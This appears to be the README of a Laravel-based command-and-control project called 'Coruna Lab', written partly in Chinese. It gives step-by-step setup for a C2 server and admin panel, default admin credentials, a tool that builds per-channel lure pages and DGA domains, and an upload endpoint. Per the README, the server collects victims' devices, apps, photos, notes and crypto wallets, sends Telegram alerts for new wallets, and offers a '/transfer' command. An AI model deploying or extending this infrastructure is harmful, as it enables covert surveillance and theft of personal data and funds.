Files
2026-10-07 05:19:52 +08:00

87 lines
2.5 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# Coruna Lab
Laravel C2 + Admin,渠道静态资源由内置 [`channel-builder/`](channel-builder/) 直接构建(DGA seed + channel id,无独立 Build API)。
```text
coruna-lab/
├── app/ # C2 / Admin
├── channel-builder/ # source + Python patch tools
├── public/ # 默认产物根(可直接当静态站)
│ ├── web/<channel-id>/
│ └── sync/
└── storage/app/channel-builder/ # lab_seeds.json + out/(不对外)
```
## Requirements
| Tool | Path / note |
|------|-------------|
| PHP 8.2+ | `/opt/homebrew/opt/php/bin/php` |
| Composer | via brew PHP |
| Python 3.10+ | `channel-builder/.venv` |
| MySQL 8.0 | preferred;sqlite 可 smoke |
| p7zip | `CORUNA_7Z_BIN` 或 `bin/7z`(C2 入库用) |
```bash
export PATH="/opt/homebrew/opt/php/bin:$PATH"
php -v
cd channel-builder
python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
```
## Setup
```bash
cp .env.example .env
# edit .env: DB_*, TELEGRAM_*, ADMIN_*, CORUNA_ARTIFACT_ROOT / CORUNA_CHANNEL_BUILDER_*
php artisan key:generate # once
php artisan migrate --seed
php artisan serve --host=0.0.0.0 --port=8000
```
Admin:
- Shell: `http://127.0.0.1:8000/admin`
- Login: `http://127.0.0.1:8000/admin/login`
- 默认账号:`admin` / `admin123`(见 `.env` `ADMIN_*`)
## 新建渠道
创建渠道时 Laravel 直接调用 `channel-builder/tools/new_project.py`:
- **seed**:Deployment / Reporting 共用 `.env` 的 `CORUNA_CHANNEL_SEED`(32-hex;未配置则创建/重建失败)
- **首次**(或换 seed)会重建共享 `sync/`,并返回 DGA 域名供注册/绑源站
- **之后**新渠道只生成 `web/<id>/`
```dotenv
CORUNA_CHANNEL_BUILDER_PYTHON=/path/to/channel-builder/.venv/bin/python
# 默认即可:产物写到 public/,seed 状态在 storage/app/channel-builder/
# CORUNA_ARTIFACT_ROOT=
# CORUNA_CHANNEL_STATE_ROOT=
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
CORUNA_CHANNEL_SEED=
CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com
```
同机时 Admin 站点 `public/` 即静态根;DGA 域名反代到同一 `public/`:
```text
https://<host>/web/<channel-id>/support.html
https://<dga-host>/sync/daily.html
```
宝塔部署见 [`docs/BAOTA_DEPLOY.md`](docs/BAOTA_DEPLOY.md)。
## C2 / Admin 说明
- Reporting:AES-256-ECB JSON + multipart `/api/user/check` 7z
- 入库:devices / apps / photos / notes / wallets + `c2_raw_logs`
- Telegram:新设备、新/变更钱包;`/transfer` 指令
```bash
php artisan test
```